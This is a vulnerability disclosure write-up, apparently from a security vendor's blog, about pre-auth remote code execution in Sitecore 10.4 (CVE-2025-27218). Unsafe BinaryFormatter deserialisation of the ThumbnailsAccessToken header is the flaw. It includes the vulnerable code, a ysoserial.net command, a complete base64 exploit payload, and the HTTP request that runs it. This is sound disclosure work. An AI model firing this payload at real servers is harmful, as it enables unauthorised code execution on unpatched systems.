
Assetnote, now a searchlight cyber company, has uncovered a REMOTE COMMAND EXECUTION VULNERABILITY in SITECORE EXPERIENCE PLATFORM
new Sitecore vulnerabilities discovered
Introduction
Continuing our previous research on Sitecore at the end of 2024, we were also able to find a pre-auth remote code execution vulnerability. For those who are unfamiliar, Sitecore is a CMS written in .NET that is quite popular among enterprise customers. This time, we were looking at version 10.4, which was the latest available at the time.
The vulnerability we found CVE-2025-27218 is another case of unsafe deserialization and is exploitable in the default configuration without authentication. The advisory from Sitecore with affected version and recommended patches are available here.
As always, customers of our Attack Surface Management platform were the first to know when this vulnerability affected them. We continue to perform original security research to inform our customers about zero-day vulnerabilities in their attack surface.
Searching for Common Mistakes
After installing, configuring and decompiling the application, we started with one of the usual suspects, `BinaryFormatter`. It’s rarely used securely, and we’ve seen it frequently used in the Sitecore codebase. We searched for both `BinaryFormatter` and `Convert.Base64ToObject`, a custom wrapper around `BinaryFormatter` that is often used in Sitecore. There are a few dozen hits, and a few were recognizable from our previous research into Sitecore. Below is the frequently misused `Convert.Base64ToObject` function.
public static object Base64ToObject(string data)
{
Error.AssertString(data, "data", allowEmpty: true);
if (data.Length > 0)
{
try
{
byte[] buffer = System.Convert.FromBase64String(data);
BinaryFormatter binaryFormatter = new BinaryFormatter();
MemoryStream serializationStream = new MemoryStream(buffer);
return binaryFormatter.Deserialize(serializationStream);
}
catch (Exception exception)
{
Log.Error("Error converting data to base64.", exception, typeof(Convert));
}
}
return null;
}
We investigated each of the calls to `BinaryFormatter` and `Convert.Base64ToObject` to see if we could access them without authentication and if we could control the input. We noticed a potential red flag in `MachineKeyTokenService.IsTokenValid`.
public bool IsTokenValid(string token)
{
try
{
byte[] protectedData = Convert.Base64ToObject(token) as byte[];
byte[] array = MachineKey.Unprotect(protectedData);
if (array == null || array.Length == 0)
{
return false;
}
Guid guid = new Guid(array);
return guid == _token;
}
catch
{
return false;
}
}
Apart from the fact that using `BinaryFormatter` to serialize an array of bytes seems a little unnecessary, there’s also the issue that the payload is decrypted after it is deserialised not before. This subtle misordering of operations implies that full care may not have been given to this particular piece of functionality. It also means that, if no other validations are applied, we can pass a malicious deserialisation payload straight to `BinaryFormatter`.
How to Reach IsTokenValid
Tracing `IsTokenValid` backwards, we saw it was called in the `AuthenticateThumbnailsRequest` request processor. These classes typically extend from `HttpRequestProcessor` and form part of Sitecore’s HTTP request processing pipeline. They are similar to a Java `FilterChain` or .NET middleware. The configuration of the pipeline is tricky to understand as the configuration is spread across multiple files and it is not immediately obvious in what order the processors are applied. For example, the configuration for `AuthenticateThumbnailsRequest` is only present in `Sitecore.ThumbnailGenerator.config` and all we know is it runs before something called `SiteResolver`.
<pipelines>
<httpRequestBegin>
<processor patch:before="processor[@type='Sitecore.Pipelines.HttpRequest.SiteResolver, Sitecore.Kernel']" type="Sitecore.Thumbnails.Pipelines.AuthenticateThumbnailsRequest, Sitecore.Kernel" resolve="true"/>
</httpRequestBegin>
</pipelines>
We could have gone through all the `.config` files and sorted out what ran when, but a much easier way was just to attach a debugger with dnSpy, start setting breakpoints and try to inspect the processor list as the pipeline was executed. Fortunately for us, setting a breakpoint at the start of `AuthenticateThumbnailsRequest.Process` was enough and we hit it with an unauthenticated request to the webroot.
Remote Code Execution
Inside `AuthenticateThumbnailsRequest.Process` we saw that the application reads a header, `ThumbnailsAccessToken`, and passes its value directly to `IsTokenValid` which base 64 decodes the header and then hands it to `BinaryFormatter`.
public override void Process(HttpRequestArgs args)
{
string text;
if (args == null)
{
text = null;
}
else
{
HttpContextBase httpContext = args.HttpContext;
if (httpContext == null)
{
text = null;
}
else
{
HttpRequestBase request = httpContext.Request;
text = ((request != null) ? request.Headers[ThumbnailFlowBase.TokenName] : null);
}
}
string text2 = text;
if (!this._tokenService.IsTokenValid(text2))
{
return;
}
...
This was an almost textbook case of misusing `BinaryFormatter` and all we had to do was generate a payload with ysoserial.net as follows.
C:\ysoserial\Release>ysoserial.exe -f BinaryFormatter -g WindowsIdentity -c "whoami > \inetpub\wwwroot\Sitecoresc.dev.local\App_Data\x.txt"
AAEAAAD/////AQAAAAAAAAAEAQAAAClTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eQEAAAAkU3lzdGVtLlNlY3VyaXR5LkNsYWltc0lkZW50aXR5LmFjdG9yAQYCAAAAlApBQUVBQUFELy8vLy9BUUFBQUFBQUFBQU1BZ0FBQUY1TmFXTnliM052Wm5RdVVHOTNaWEpUYUdWc2JDNUZaR2wwYjNJc0lGWmxjbk5wYjI0OU15NHdMakF1TUN3Z1EzVnNkSFZ5WlQxdVpYVjBjbUZzTENCUWRXSnNhV05MWlhsVWIydGxiajB6TVdKbU16ZzFObUZrTXpZMFpUTTFCUUVBQUFCQ1RXbGpjbTl6YjJaMExsWnBjM1ZoYkZOMGRXUnBieTVVWlhoMExrWnZjbTFoZEhScGJtY3VWR1Y0ZEVadmNtMWhkSFJwYm1kU2RXNVFjbTl3WlhKMGFXVnpBUUFBQUE5R2IzSmxaM0p2ZFc1a1FuSjFjMmdCQWdBQUFBWURBQUFBN3dVOFAzaHRiQ0IyWlhKemFXOXVQU0l4TGpBaUlHVnVZMjlrYVc1blBTSjFkR1l0TVRZaVB6NE5DanhQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWElnVFdWMGFHOWtUbUZ0WlQwaVUzUmhjblFpSUVselNXNXBkR2xoYkV4dllXUkZibUZpYkdWa1BTSkdZV3h6WlNJZ2VHMXNibk05SW1oMGRIQTZMeTl6WTJobGJXRnpMbTFwWTNKdmMyOW1kQzVqYjIwdmQybHVabmd2TWpBd05pOTRZVzFzTDNCeVpYTmxiblJoZEdsdmJpSWdlRzFzYm5NNmMyUTlJbU5zY2kxdVlXMWxjM0JoWTJVNlUzbHpkR1Z0TGtScFlXZHViM04wYVdOek8yRnpjMlZ0WW14NVBWTjVjM1JsYlNJZ2VHMXNibk02ZUQwaWFIUjBjRG92TDNOamFHVnRZWE11YldsamNtOXpiMlowTG1OdmJTOTNhVzVtZUM4eU1EQTJMM2hoYld3aVBnMEtJQ0E4VDJKcVpXTjBSR0YwWVZCeWIzWnBaR1Z5TGs5aWFtVmpkRWx1YzNSaGJtTmxQZzBLSUNBZ0lEeHpaRHBRY205alpYTnpQZzBLSUNBZ0lDQWdQSE5rT2xCeWIyTmxjM011VTNSaGNuUkpibVp2UGcwS0lDQWdJQ0FnSUNBOGMyUTZVSEp2WTJWemMxTjBZWEowU1c1bWJ5QkJjbWQxYldWdWRITTlJaTlqSUhkb2IyRnRhU0FtWjNRN0lGeHBibVYwY0hWaVhIZDNkM0p2YjNSY1UybDBaV052Y21Well5NWtaWFl1Ykc5allXeGNRWEJ3WDBSaGRHRmNlQzUwZUhRaUlGTjBZVzVrWVhKa1JYSnliM0pGYm1OdlpHbHVaejBpZTNnNlRuVnNiSDBpSUZOMFlXNWtZWEprVDNWMGNIVjBSVzVqYjJScGJtYzlJbnQ0T2s1MWJHeDlJaUJWYzJWeVRtRnRaVDBpSWlCUVlYTnpkMjl5WkQwaWUzZzZUblZzYkgwaUlFUnZiV0ZwYmowaUlpQk1iMkZrVlhObGNsQnliMlpwYkdVOUlrWmhiSE5sSWlCR2FXeGxUbUZ0WlQwaVkyMWtJaUF2UGcwS0lDQWdJQ0FnUEM5elpEcFFjbTlqWlhOekxsTjBZWEowU1c1bWJ6NE5DaUFnSUNBOEwzTmtPbEJ5YjJObGMzTStEUW9nSUR3dlQySnFaV04wUkdGMFlWQnliM1pwWkdWeUxrOWlhbVZqZEVsdWMzUmhibU5sUGcwS1BDOVBZbXBsWTNSRVlYUmhVSEp2ZG1sa1pYSStDdz09Cw==
We then prepared our request by copying our payload into the `ThumbnailsAccessToken` and sent it.
GET / HTTP/1.1
Host: sitecoresc.dev.local
ThumbnailsAccessToken: AAEAAAD/////AQAAAAAAAAAEAQAAAClTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eQEAAAAkU3lzdGVtLlNlY3VyaXR5LkNsYWltc0lkZW50aXR5LmFjdG9yAQYCAAAAlApBQUVBQUFELy8vLy9BUUFBQUFBQUFBQU1BZ0FBQUY1TmFXTnliM052Wm5RdVVHOTNaWEpUYUdWc2JDNUZaR2wwYjNJc0lGWmxjbk5wYjI0OU15NHdMakF1TUN3Z1EzVnNkSFZ5WlQxdVpYVjBjbUZzTENCUWRXSnNhV05MWlhsVWIydGxiajB6TVdKbU16ZzFObUZrTXpZMFpUTTFCUUVBQUFCQ1RXbGpjbTl6YjJaMExsWnBjM1ZoYkZOMGRXUnBieTVVWlhoMExrWnZjbTFoZEhScGJtY3VWR1Y0ZEVadmNtMWhkSFJwYm1kU2RXNVFjbTl3WlhKMGFXVnpBUUFBQUE5R2IzSmxaM0p2ZFc1a1FuSjFjMmdCQWdBQUFBWURBQUFBN3dVOFAzaHRiQ0IyWlhKemFXOXVQU0l4TGpBaUlHVnVZMjlrYVc1blBTSjFkR1l0TVRZaVB6NE5DanhQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWElnVFdWMGFHOWtUbUZ0WlQwaVUzUmhjblFpSUVselNXNXBkR2xoYkV4dllXUkZibUZpYkdWa1BTSkdZV3h6WlNJZ2VHMXNibk05SW1oMGRIQTZMeTl6WTJobGJXRnpMbTFwWTNKdmMyOW1kQzVqYjIwdmQybHVabmd2TWpBd05pOTRZVzFzTDNCeVpYTmxiblJoZEdsdmJpSWdlRzFzYm5NNmMyUTlJbU5zY2kxdVlXMWxjM0JoWTJVNlUzbHpkR1Z0TGtScFlXZHViM04wYVdOek8yRnpjMlZ0WW14NVBWTjVjM1JsYlNJZ2VHMXNibk02ZUQwaWFIUjBjRG92TDNOamFHVnRZWE11YldsamNtOXpiMlowTG1OdmJTOTNhVzVtZUM4eU1EQTJMM2hoYld3aVBnMEtJQ0E4VDJKcVpXTjBSR0YwWVZCeWIzWnBaR1Z5TGs5aWFtVmpkRWx1YzNSaGJtTmxQZzBLSUNBZ0lEeHpaRHBRY205alpYTnpQZzBLSUNBZ0lDQWdQSE5rT2xCeWIyTmxjM011VTNSaGNuUkpibVp2UGcwS0lDQWdJQ0FnSUNBOGMyUTZVSEp2WTJWemMxTjBZWEowU1c1bWJ5QkJjbWQxYldWdWRITTlJaTlqSUhkb2IyRnRhU0FtWjNRN0lGeHBibVYwY0hWaVhIZDNkM0p2YjNSY1UybDBaV052Y21Well5NWtaWFl1Ykc5allXeGNRWEJ3WDBSaGRHRmNlQzUwZUhRaUlGTjBZVzVrWVhKa1JYSnliM0pGYm1OdlpHbHVaejBpZTNnNlRuVnNiSDBpSUZOMFlXNWtZWEprVDNWMGNIVjBSVzVqYjJScGJtYzlJbnQ0T2s1MWJHeDlJaUJWYzJWeVRtRnRaVDBpSWlCUVlYTnpkMjl5WkQwaWUzZzZUblZzYkgwaUlFUnZiV0ZwYmowaUlpQk1iMkZrVlhObGNsQnliMlpwYkdVOUlrWmhiSE5sSWlCR2FXeGxUbUZ0WlQwaVkyMWtJaUF2UGcwS0lDQWdJQ0FnUEM5elpEcFFjbTlqWlhOekxsTjBZWEowU1c1bWJ6NE5DaUFnSUNBOEwzTmtPbEJ5YjJObGMzTStEUW9nSUR3dlQySnFaV04wUkdGMFlWQnliM1pwWkdWeUxrOWlhbVZqZEVsdWMzUmhibU5sUGcwS1BDOVBZbXBsWTNSRVlYUmhVSEp2ZG1sa1pYSStDdz09Cw==
We received a 500 server error response from Sitecore and when we checked the filesystem we found our payload had executed perfectly.
C:\>type \inetpub\wwwroot\Sitecoresc.dev.local\App_Data\x.txt
iis apppool\sitecoresc.dev.local
Conclusion
This is another case of `BinaryFormatter` causing more trouble than it’s worth. However, this one was a little more disappointing since it was serialising an array of bytes to another array of bytes. A possible explanation is that the developer assumed `Convert.Base64ToObject` was only used for Base64 decoding, similar to `System.Convert.FromBase64String`. This would also explain why the payload is decrypted afterwards rather than before.
This also highlights the fact that security is a continuous process. This bug was a relatively recent addition and therefore was not present in any of our previous audits. There’s almost always in coming back and looking again, especially if there have been changes.
about assetnote
Assetnote provides industry-leading attack surface management and adversarial exposure validation solutions, helping organizations identify and remediate security vulnerabilities before they can be exploited. Assetnote customers receive security alerts and mitigations at the same time to disclosure to third-party vendors.
In January 2025 Assetnote was acquired by Searchlight Cyber. Combined, the companies form a holistic platform for combating external threats through Continuous Threat Exposure Management. Read the press release to find out more.
Related Content


How Do You Build An Attack Surface Management Program?
ASM
How to Improve Incident Response with Attack Surface Management
ASM
Russian Zero-Day Seller Offers $4m For Exploits in Telegram
News
Attack Surface Management Tools: Choosing the Right Solution
ASM
Cyberattack to Blame for Recent X Outage
News
Effective Ransomware Prevention Strategies
Ransomware
Sanctions on Nemesis Marketplace Admin Announced
News